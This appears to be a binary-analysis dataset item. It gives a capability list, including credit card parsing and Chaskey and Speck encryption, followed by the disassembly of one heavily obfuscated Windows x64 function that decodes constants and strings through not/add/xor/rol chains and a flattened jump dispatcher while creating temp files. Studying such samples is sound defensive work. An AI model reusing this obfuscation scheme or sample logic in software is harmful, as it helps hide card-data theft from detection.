Function at 0x140167523
Capabilities:
Authenticate hmac
Create process on windows
Encrypt data using chaskey
Encrypt data using speck
Get common file path
Hash data using murmur3
Move file
Parse credit card information

Disassembly:
push rax
pushf
mov eax, 0xa9b3a751
pushf
not eax
add eax, 0xbb6fe856
xor eax, 0xb42ac333
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xf085a3ff
xor eax, 0xbbc82a61
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xa96b082e
xor eax, 0xfba7e49b
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x93f7f7ec
xor eax, 0x925a3e83
rol eax, 0xaf
popf
cmp eax, 0x29
jne 0x140167586
popf
pop rax
jmp 0x14016954c
cmp eax, 0
jne 0x140167595
popf
pop rax
jmp 0x140167937
cmp eax, 0x3f
jne 0x1401675a4
popf
pop rax
jmp 0x14016a525
cmp eax, 1
jne 0x1401675b3
popf
pop rax
jmp 0x140167bc5
cmp eax, 0xd
jne 0x1401675c2
popf
pop rax
jmp 0x140168271
cmp eax, 0x1a
jne 0x1401675d1
popf
pop rax
jmp 0x1401689cb
cmp eax, 0xe
jne 0x1401675e0
popf
pop rax
jmp 0x1401682ba
cmp eax, 0x31
jne 0x1401675ef
popf
pop rax
jmp 0x140169ba6
cmp eax, 0x19
jne 0x1401675fe
popf
pop rax
jmp 0x140168980
cmp eax, 8
jne 0x14016760d
popf
pop rax
jmp 0x140167fa0
cmp eax, 0x2a
jne 0x14016761c
popf
pop rax
jmp 0x1401695c7
cmp eax, 0x17
jne 0x14016762b
popf
pop rax
jmp 0x140168891
cmp eax, 0x1c
jne 0x14016763a
popf
pop rax
jmp 0x140168c76
cmp eax, 0x2e
jne 0x140167649
popf
pop rax
jmp 0x140169911
cmp eax, 0x18
jne 0x140167658
popf
pop rax
jmp 0x140168920
cmp eax, 0x2b
jne 0x140167667
popf
pop rax
jmp 0x14016973d
cmp eax, 0x1b
jne 0x140167676
popf
pop rax
jmp 0x140168b81
cmp eax, 0x2d
jne 0x140167685
popf
pop rax
jmp 0x140169851
cmp eax, 0x23
jne 0x140167694
popf
pop rax
jmp 0x140169198
cmp eax, 0x25
jne 0x1401676a3
popf
pop rax
jmp 0x140169299
cmp eax, 0x32
jne 0x1401676b2
popf
pop rax
jmp 0x140169c21
cmp eax, 0x13
jne 0x1401676c1
popf
pop rax
jmp 0x140168706
cmp eax, 0x33
jne 0x1401676d0
popf
pop rax
jmp 0x140169ce4
cmp eax, 0x24
jne 0x1401676df
popf
pop rax
jmp 0x14016923c
cmp eax, 0x1e
jne 0x1401676ee
popf
pop rax
jmp 0x140168d77
cmp eax, 0xc
jne 0x1401676fd
popf
pop rax
jmp 0x140168223
cmp eax, 0x26
jne 0x14016770c
popf
pop rax
jmp 0x140169392
cmp eax, 0x27
jne 0x14016771b
popf
pop rax
jmp 0x140169419
cmp eax, 0x30
jne 0x14016772a
popf
pop rax
jmp 0x140169a2c
cmp eax, 0x10
jne 0x140167739
popf
pop rax
jmp 0x14016851a
cmp eax, 0x37
jne 0x140167748
popf
pop rax
jmp 0x140169ff5
cmp eax, 9
jne 0x140167757
popf
pop rax
jmp 0x14016803f
cmp eax, 0x39
jne 0x140167766
popf
pop rax
jmp 0x14016a109
cmp eax, 0x16
jne 0x140167775
popf
pop rax
jmp 0x1401687f1
cmp eax, 0x3b
jne 0x140167784
popf
pop rax
jmp 0x14016a35f
cmp eax, 0xa
jne 0x140167793
popf
pop rax
jmp 0x140168108
cmp eax, 0x36
jne 0x1401677a2
popf
pop rax
jmp 0x140169e6c
cmp eax, 0x14
jne 0x1401677b1
popf
pop rax
jmp 0x140168740
cmp eax, 7
jne 0x1401677c0
popf
pop rax
jmp 0x140167f42
cmp eax, 0x3d
jne 0x1401677cf
popf
pop rax
jmp 0x14016a4b3
cmp eax, 2
jne 0x1401677de
popf
pop rax
jmp 0x140167c47
cmp eax, 0x20
jne 0x1401677ed
popf
pop rax
jmp 0x140168e8e
cmp eax, 0x1d
jne 0x1401677fc
popf
pop rax
jmp 0x140168ccf
cmp eax, 0x11
jne 0x14016780b
popf
pop rax
jmp 0x1401685d8
cmp eax, 0x35
jne 0x14016781a
popf
pop rax
jmp 0x140169df5
cmp eax, 0x3a
jne 0x140167829
popf
pop rax
jmp 0x14016a228
cmp eax, 0x12
jne 0x140167838
popf
pop rax
jmp 0x140168677
cmp eax, 0x21
jne 0x140167847
popf
pop rax
jmp 0x140168f7f
cmp eax, 0x38
jne 0x140167856
popf
pop rax
jmp 0x14016a099
cmp eax, 0xb
jne 0x140167865
popf
pop rax
jmp 0x140168173
cmp eax, 0xf
jne 0x140167874
popf
pop rax
jmp 0x140168485
cmp eax, 0x15
jne 0x140167883
popf
pop rax
jmp 0x140168778
cmp eax, 5
jne 0x140167892
popf
pop rax
jmp 0x140167dcb
cmp eax, 6
jne 0x1401678a1
popf
pop rax
jmp 0x140167e3a
cmp eax, 0x22
jne 0x1401678b0
popf
pop rax
jmp 0x140168ffc
cmp eax, 0x3c
jne 0x1401678bf
popf
pop rax
jmp 0x14016a411
cmp eax, 0x1f
jne 0x1401678ce
popf
pop rax
jmp 0x140168dc1
cmp eax, 4
jne 0x1401678dd
popf
pop rax
jmp 0x140167d37
cmp eax, 0x2f
jne 0x1401678ec
popf
pop rax
jmp 0x140169961
cmp eax, 0x28
jne 0x1401678fb
popf
pop rax
jmp 0x1401694a2
cmp eax, 0x3e
jne 0x14016790a
popf
pop rax
jmp 0x14016a4ed
cmp eax, 0x34
jne 0x140167919
popf
pop rax
jmp 0x140169d4c
cmp eax, 0x2c
jne 0x140167928
popf
pop rax
jmp 0x1401697e1
cmp eax, 3
jne 0x140167937
popf
pop rax
jmp 0x140167d2e
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x448]
sub rsp, 0x530
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x140083080]
xor rax, rsp
mov qword [rbp + 0x400], rax
xor ebx, ebx
lea rdx, [rbp + 0x2f0]
mov ecx, 0x80df9fd3
pushf
not ecx
add ecx, 0xf0e877ef
xor ecx, 0xbad61b40
rol ecx, 0x18
popf
pushf
not ecx
add ecx, 0xb6cb1f2c
xor ecx, 0xb09884d1
rol ecx, 0x2d
popf
pushf
not ecx
add ecx, 0xaabec258
xor ecx, 0xf5ffb67b
rol ecx, 0x52
popf
pushf
not ecx
add ecx, 0xb50e096e
xor ecx, 0xaa906a1d
rol ecx, 0x84
popf
jmp 0x1401679d5
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movabs rax, 0xbbfbbfc9d7e3a842
pushf
not rax
add rax, 0x733dafa9
xor rax, 0x4d289980
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x791f5d11
xor rax, 0x60c9653a
rol rax, 0x37
popf
pushf
not rax
add rax, 0x55fbe411
xor rax, 0x67055686
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x4d59d590
xor rax, 0x4e649b7a
rol rax, 0x80
popf
mov qword [rsp + 0x40], rax
movabs rsi, 0xac6a1218a97dba56
pushf
not rsi
add rsi, 0x768f167e
xor rsi, 0x62eb0f32
rol rsi, 0xb9
popf
pushf
not rsi
add rsi, 0x77f3c4e5
xor rsi, 0x729c94e1
rol rsi, 0xcd
popf
pushf
not rsi
add rsi, 0x47d55899
xor rsi, 0x6742892b
rol rsi, 5
popf
mov qword [rsp + 0x48], rsi
movabs r14, 0xd92fc288fc637fc1
pushf
not r14
add r14, 0x4aa663f9
xor r14, 0x68c1a8e7
rol r14, 0x91
popf
pushf
not r14
add r14, 0x554806e4
xor r14, 0x6c1d3073
rol r14, 0x19
popf
pushf
not r14
add r14, 0x5729582e
xor r14, 0x4bedd387
rol r14, 0x21
popf
pushf
not r14
add r14, 0x4c59e254
xor r14, 0x4fcfc708
rol r14, 0x7c
popf
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], rsi
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rsp + 0x40], xmm0
lea r9, [rbp + 0x1e0]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2f0]
jmp 0x140167b46
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
lea rax, [rbp + 0x1e0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
push rax
pushf
mov eax, 0x42905c50
pushf
not eax
add eax, 0xa0ce1911
xor eax, 0xf0745495
rol eax, 0x51
popf
pushf
not eax
add eax, 0x8227e0f5
xor eax, 0x889f4713
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xe2078280
xor eax, 0x8c2c0eef
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x80ab6eb6
xor eax, 0xb2befc67
rol eax, 0x3e
popf
jmp 0x140167577
inc r8
cmp byte [rax + r8], bl
jne 0x140167c01
push rax
pushf
mov eax, 0xf6eb16ba
pushf
not eax
add eax, 0x9864e580
xor eax, 0x88abc46f
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xa1f17574
xor eax, 0xf7c7a769
rol eax, 0x57
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xf278986b
pushf
not eax
add eax, 0xad239778
xor eax, 0x844eb79f
rol eax, 2
popf
pushf
not eax
add eax, 0xbc029f8b
xor eax, 0xb6a7af98
rol eax, 0x90
popf
pushf
not eax
add eax, 0x99d5b8ca
xor eax, 0xc72f41f7
rol eax, 0xbe
popf
jmp 0x140167577
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x70]
call fcn.140142495
nop
movabs rax, 0x4ec69092938748cf
pushf
not rax
add rax, 0x7f28ef78
xor rax, 0x5314a59a
rol rax, 0x71
popf
pushf
not rax
add rax, 0x65b23e23
xor rax, 0x42adfb05
rol rax, 0x62
popf
pushf
not rax
add rax, 0x62adc013
xor rax, 0x48218d23
rol rax, 0x53
popf
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], rsi
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x80], xmm0
lea rax, [rbp - 0x80]
mov rsi, rdi
push rax
pushf
mov eax, 0x287b4efb
pushf
not eax
add eax, 0x8164797a
xor eax, 0xd5a8a2b1
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xacfd310c
xor eax, 0xcc250f73
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xde36ec67
xor eax, 0x851fc5a9
rol eax, 0x78
popf
pushf
not eax
add eax, 0xe52f5d9d
xor eax, 0xafd008b7
rol eax, 0xc5
popf
jmp 0x140167577
inc rsi
cmp byte [rax + rsi], 0
jne 0x140167d2e
lea r14, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r14, qword [rbp - 0x70]
mov r15, qword [rbp - 0x60]
test rsi, rsi
je 0x140167d85
push rax
pushf
mov eax, 0xcbc6eb37
pushf
not eax
add eax, 0xcc96e7d0
xor eax, 0xb8e8d3d2
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xf9f5c517
xor eax, 0xf499b17f
rol eax, 0x43
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x8d5d6a57
pushf
not eax
add eax, 0xdba6628e
xor eax, 0xa0bf2b89
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xedb9e9e8
xor eax, 0xbd90652e
rol eax, 0xac
popf
pushf
not eax
add eax, 0xc1a73242
xor eax, 0xef1abe07
rol eax, 0x47
popf
jmp 0x140167577
test r15, r15
je 0x140167e07
push rax
pushf
mov eax, 0xd2bdbc7c
pushf
not eax
add eax, 0xbdc213e2
xor eax, 0x95e7be72
rol eax, 0x41
popf
pushf
not eax
add eax, 0xe16eada4
xor eax, 0xe3a6db15
rol eax, 0x3c
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xc536898a
pushf
not eax
add eax, 0x818aadb5
xor eax, 0x8acff040
rol eax, 0x22
popf
pushf
not eax
add eax, 0x8b6a63f5
xor eax, 0xd8fb124c
rol eax, 0xc5
popf
jmp 0x140167577
xor edx, edx
mov r8d, 0x5b2a62de
pushf
not r8d
add r8d, 0xce74b821
xor r8d, 0xe97073ff
rol r8d, 0xc7
popf
pushf
not r8d
add r8d, 0x9022380b
xor r8d, 0xf042db05
rol r8d, 0xf4
popf
pushf
not r8d
add r8d, 0xadf776b7
xor r8d, 0x8a6f49f6
rol r8d, 0x1d
popf
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x80]
lea rdx, [rbp - 0x80]
push rsi
not rsi
sub rdx, rsi
pop rsi
sub rdx, 1
lea rax, [rbp - 0x80]
cmp rax, rdx
je 0x140167efc
push rax
pushf
mov eax, 0x42b2f0d3
pushf
not eax
add eax, 0x9e1f2f7e
xor eax, 0xc360c44d
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xe3b00f4f
xor eax, 0x9ad9190e
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x80fdc142
xor eax, 0xf7f4d8f5
rol eax, 0x59
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x54ef2c4b
pushf
not eax
add eax, 0xe4edeeb5
xor eax, 0xe5e4b8a5
rol eax, 0x98
popf
pushf
not eax
add eax, 0xafe3295d
xor eax, 0xe722cdf6
rol eax, 0x22
popf
pushf
not eax
add eax, 0x9a714e84
xor eax, 0xc9024231
rol eax, 0x42
popf
jmp 0x140167577
nop dword [rax + rax]
push rax
pushf
mov eax, 0xe7ed8c16
pushf
not eax
add eax, 0x9eae17cc
xor eax, 0xa8f70faf
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xa6935381
xor eax, 0xc10acf77
rol eax, 0x48
popf
pushf
not eax
add eax, 0xfd49a70b
xor eax, 0xe16796e9
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x802f607e
xor eax, 0x9f80af69
rol eax, 0xd2
popf
jmp 0x140167577
movzx eax, byte [rcx]
mov byte [rbp + rax + 0xc0], 1
inc rcx
cmp rcx, rdx
jne 0x140167fe6
push rax
pushf
mov eax, 0x31880e2f
pushf
not eax
add eax, 0xcd5d083c
xor eax, 0xc638cf51
rol eax, 0xef
popf
pushf
not eax
add eax, 0xfb3151d9
xor eax, 0xe2c2a2e2
rol eax, 0x6a
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x9f32b06f
pushf
not eax
add eax, 0x952825fc
xor eax, 0x8e29d353
rol eax, 0x61
popf
pushf
not eax
add eax, 0x9b05b1f2
xor eax, 0xcbbc5be8
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xada61a6d
xor eax, 0x86e84deb
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xeb3959b2
xor eax, 0xc3ccf96b
rol eax, 3
popf
jmp 0x140167577
lea rax, [r15 - 1]
mov r8, rdi
cmp rax, rdi
cmovb r8, rax
push r14
not r14
sub r8, r14
pop r14
sub r8, 1
movzx eax, byte [r8]
cmp byte [rbp + rax + 0xc0], 0
jne 0x1401680af
push rax
pushf
mov eax, 0xd73e1323
pushf
not eax
add eax, 0xe5091186
xor eax, 0x973e8609
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xd3c99cba
xor eax, 0xcbfd71ec
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x9fc688e6
xor eax, 0xbed6c991
rol eax, 0xdc
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xcfab2858
pushf
not eax
add eax, 0xe7e736e7
xor eax, 0xd8ec2202
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xa646b9e6
xor eax, 0xd7adb37a
rol eax, 0x20
popf
pushf
not eax
add eax, 0xfa39c6c2
xor eax, 0xd2a58a3f
rol eax, 0x73
popf
pushf
not eax
add eax, 0xabcbcc4b
xor eax, 0xf9ded843
rol eax, 0xab
popf
jmp 0x140167577
cmp r8, r14
je 0x140168140
push rax
pushf
mov eax, 0xb14e533c
pushf
not eax
add eax, 0xabf12097
xor eax, 0x8c470b61
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8756fd81
xor eax, 0xa439540e
rol eax, 0x17
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x9fee4b50
pushf
not eax
add eax, 0xf0c029d6
xor eax, 0xc9a097d6
rol eax, 0xf
popf
pushf
not eax
add eax, 0x81ada136
xor eax, 0xdd03047d
rol eax, 0x34
popf
jmp 0x140167577
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0xc0], 0
je 0x1401681dd
push rax
pushf
mov eax, 0x5cd85d5e
pushf
not eax
add eax, 0x9975ce8f
xor eax, 0xcdc77baf
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xb0d8fbd0
xor eax, 0xc0058514
rol eax, 0x66
popf
pushf
not eax
add eax, 0xe68d70e0
xor eax, 0xcdce07e3
rol eax, 0x25
popf
pushf
not eax
add eax, 0xafe41136
xor eax, 0x8a40a2b4
rol eax, 0x8b
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x325c9ae6
pushf
not eax
add eax, 0xf3cbe372
xor eax, 0xa5c74730
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xc9b288d4
xor eax, 0xb39debff
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xd9450da2
xor eax, 0xe8f0bd22
rol eax, 0x38
popf
jmp 0x140167577
sub r8, r14
jmp 0x1401682ba
mov r8, rdi
push rax
pushf
mov eax, 0x8a548d61
pushf
not eax
add eax, 0xe499ab45
xor eax, 0xe038cdc1
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x8f4a1fc9
xor eax, 0xc952679a
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xd0fab43d
xor eax, 0x9139393e
rol eax, 0xc8
popf
jmp 0x140167577
movabs rax, 0xdecfab377b9bd3a2
pushf
not rax
add rax, 0x5088bdc2
xor rax, 0x78cdec90
rol rax, 0x5c
popf
pushf
not rax
add rax, 0x5a56242c
xor rax, 0x522cc4df
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x44286e24
xor rax, 0x66590944
rol rax, 0x3c
popf
mov qword [rsp + 0x40], rax
movabs rax, 0x74c93dea187482bc
pushf
not rax
add rax, 0x4000f998
xor rax, 0x7046e9cd
rol rax, 0x52
popf
pushf
not rax
add rax, 0x693bfc90
xor rax, 0x573d93c4
rol rax, 0x33
popf
pushf
not rax
add rax, 0x705f2b04
xor rax, 0x650f3095
rol rax, 0x79
popf
pushf
not rax
add rax, 0x664322c0
xor rax, 0x48f50aaa
rol rax, 0x30
popf
mov qword [rsp + 0x48], rax
movabs rcx, 0xc40ffee866f21082
pushf
not rcx
add rcx, 0x61d239e5
xor rcx, 0x4547f918
rol rcx, 0x76
popf
pushf
not rcx
add rcx, 0x450f7b52
xor rcx, 0x693448c8
rol rcx, 0xa0
popf
pushf
not rcx
add rcx, 0x78782216
xor rcx, 0x6e74b975
rol rcx, 0x5e
popf
pushf
not rcx
add rcx, 0x7c9bf3ff
xor rcx, 0x65565d6c
rol rcx, 0xf8
popf
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
cmp r15, r8
cmovb r8, r15
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.140142495
nop
lea rax, [rsp + 0x40]
nop
push rax
pushf
mov eax, 0x9f11af7d
pushf
not eax
add eax, 0xb7dad822
xor eax, 0xbb4ec98e
rol eax, 0x74
popf
pushf
not eax
add eax, 0xd2aec5dc
xor eax, 0xc365ca82
rol eax, 0xe
popf
pushf
not eax
add eax, 0xeafb9bda
xor eax, 0x9903db0e
rol eax, 0
popf
jmp 0x140167577
inc rdi
cmp byte [rax + rdi], 0
jne 0x1401684d4
push rax
pushf
mov eax, 0x8a794995
pushf
not eax
add eax, 0xb3033f3b
xor eax, 0x9f15ef6b
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xfeda4a4d
xor eax, 0xb1026fa3
rol eax, 0x94
popf
pushf
not eax
add eax, 0x8c1c762a
xor eax, 0xdb598c22
rol eax, 0x54
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x8718c066
pushf
not eax
add eax, 0xd8d3cc24
xor eax, 0x96d96e6b
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xe0fc1ff7
xor eax, 0xcdf859cf
rol eax, 0x33
popf
pushf
not eax
add eax, 0xac8c9299
xor eax, 0xe44d58cf
rol eax, 0xe3
popf
jmp 0x140167577
mov r8, rdi
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140163c4b
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14016857f
push rax
pushf
mov eax, 0x15e56b35
pushf
not eax
add eax, 0xc3152195
xor eax, 0x829353aa
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x91c55c3f
xor eax, 0x9e2d87a2
rol eax, 0x5f
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x295ef696
pushf
not eax
add eax, 0xd2c6092a
xor eax, 0xa95d653b
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9238dc72
xor eax, 0x825e6301
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf2f24e00
xor eax, 0xb116bf06
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x926b3fd3
xor eax, 0xc524a0d8
rol eax, 0x8b
popf
jmp 0x140167577
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140168631
push rax
pushf
mov eax, 0xb682495c
pushf
not eax
add eax, 0xda8887c9
xor eax, 0xc0c37fd7
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x8aad63c4
xor eax, 0x9167e94b
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa88d1fb8
xor eax, 0xdc7ebd3e
rol eax, 0x5e
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x4638cecf
pushf
not eax
add eax, 0xdeffd8d9
xor eax, 0xf77d7115
rol eax, 6
popf
pushf
not eax
add eax, 0x9a30befd
xor eax, 0x810c1cd0
rol eax, 0x98
popf
pushf
not eax
add eax, 0xe588ee64
xor eax, 0xb4fe5078
rol eax, 0x6d
popf
jmp 0x140167577
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401686d2
push rax
pushf
mov eax, 0x5fad219a
pushf
not eax
add eax, 0xe11910b2
xor eax, 0xcc6244ca
rol eax, 0x36
popf
pushf
not eax
add eax, 0xd7e9b614
xor eax, 0x957fe216
rol eax, 0x55
popf
pushf
not eax
add eax, 0x8845b988
xor eax, 0xd056fc5c
rol eax, 0x61
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xea60cb63
pushf
not eax
add eax, 0x98e33bfd
xor eax, 0x86dbb986
rol eax, 0x27
popf
pushf
not eax
add eax, 0x9f8f1ff4
xor eax, 0xf2aa905d
rol eax, 0xa3
popf
jmp 0x140167577
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140135cf8
push rax
pushf
mov eax, 0xf21cd58
pushf
not eax
add eax, 0x9d37404d
xor eax, 0xd29c59f1
rol eax, 0x83
popf
pushf
not eax
add eax, 0xc80a1fec
xor eax, 0xe3c197c1
rol eax, 0x94
popf
jmp 0x140167577
movups xmmword [rbp - 0x70], xmm6
movups xmmword [rbp - 0x60], xmm7
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1401687be
push rax
pushf
mov eax, 0x5e6fbbde
pushf
not eax
add eax, 0xfa106866
xor eax, 0x934d6783
rol eax, 0x25
popf
pushf
not eax
add eax, 0xac330568
xor eax, 0x8bf9a4e6
rol eax, 0xaa
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x69f09a7b
pushf
not eax
add eax, 0xeb1e9944
xor eax, 0xd06cf3f8
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xca10488a
xor eax, 0xbf3826e3
rol eax, 0x6d
popf
jmp 0x140167577
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14016884b
push rax
pushf
mov eax, 0xa8342bcf
pushf
not eax
add eax, 0xc49a4829
xor eax, 0xcc5ed3d7
rol eax, 0x70
popf
pushf
not eax
add eax, 0xc543e9a5
xor eax, 0xc0424e9c
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xf0b6d80e
xor eax, 0xbaba401d
rol eax, 0xf2
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xd4aaae55
pushf
not eax
add eax, 0xe766d7b0
xor eax, 0xb1530b29
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xab7fe783
xor eax, 0xe8713630
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xf6f35d38
xor eax, 0x86929049
rol eax, 9
popf
jmp 0x140167577
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401688ec
push rax
pushf
mov eax, 0x9b23347f
pushf
not eax
add eax, 0xafd0d5df
xor eax, 0x9d28f07e
rol eax, 0x20
popf
pushf
not eax
add eax, 0xc5f3286e
xor eax, 0xa9a1abd8
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf8a319b4
xor eax, 0xff79ee7b
rol eax, 0x9e
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x980dd716
pushf
not eax
add eax, 0xa4e3dc24
xor eax, 0xa39b6f01
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xa5ccb075
xor eax, 0xd0c658cd
rol eax, 0xc3
popf
jmp 0x140167577
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140135cf8
push rax
pushf
mov eax, 0x13ed5901
pushf
not eax
add eax, 0xc9e5236a
xor eax, 0xd2117769
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xfc01c1f4
xor eax, 0xd06fecff
rol eax, 0x80
popf
pushf
not eax
add eax, 0xff4582b3
xor eax, 0xe8c9a867
rol eax, 0x12
popf
jmp 0x140167577
xor edx, edx
mov r8d, 0xa60524d4
pushf
not r8d
add r8d, 0xb34ceee2
xor r8d, 0x9f862de0
rol r8d, 0x37
popf
pushf
not r8d
add r8d, 0xa25e4f95
xor r8d, 0x8a5328c1
rol r8d, 0xcd
popf
pushf
not r8d
add r8d, 0xa3a42736
xor r8d, 0xaad826dd
rol r8d, 0xbe
popf
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov r8d, 0x5b27fd17
pushf
not r8d
add r8d, 0xba6a98bb
xor r8d, 0x95a86e53
rol r8d, 0x51
popf
pushf
not r8d
add r8d, 0xbfc556b9
xor r8d, 0xd0b6cd40
rol r8d, 0xde
popf
pushf
not r8d
add r8d, 0xdb3eb874
xor r8d, 0xac9725ae
rol r8d, 0x32
popf
pushf
not r8d
add r8d, 0xca45ab6c
xor r8d, 0x872ecf72
rol r8d, 0x4e
popf
lea rcx, [rbp - 0x50]
call fcn.1401644de
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [0x18a67da6f]
pushf
sub rax, 0x4a606c27
popf
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
cmp qword [rbp + 0x38], 0
je 0x140168b29
push rax
pushf
mov eax, 0x90c73701
pushf
not eax
add eax, 0x932aba7e
xor eax, 0xbd5720d3
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xb943713d
xor eax, 0x921a44f5
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xe1622b6c
xor eax, 0x8adaaefd
rol eax, 0x91
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xfe1731df
pushf
not eax
add eax, 0xe2ee00b1
xor eax, 0xc8354766
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xb7cafd67
xor eax, 0xa3599103
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xa4d0eb8a
xor eax, 0x8b3b1cb6
rol eax, 1
popf
pushf
not eax
add eax, 0xee18e927
xor eax, 0x9ad72ffc
rol eax, 0x7c
popf
jmp 0x140167577
mov r8d, 0x7155f9f
pushf
not r8d
add r8d, 0xb83b6873
xor r8d, 0xa1872614
rol r8d, 0x62
popf
pushf
not r8d
add r8d, 0x914cad40
xor r8d, 0xc41e2d16
rol r8d, 0xd4
popf
pushf
not r8d
add r8d, 0x9989ce4b
xor r8d, 0xa63e40ad
rol r8d, 0x5f
popf
lea rdx, [0x1b30a2fc5]
pushf
sub rdx, 0x7301feb5
popf
lea rcx, [rbp - 0x50]
jmp 0x140168be9
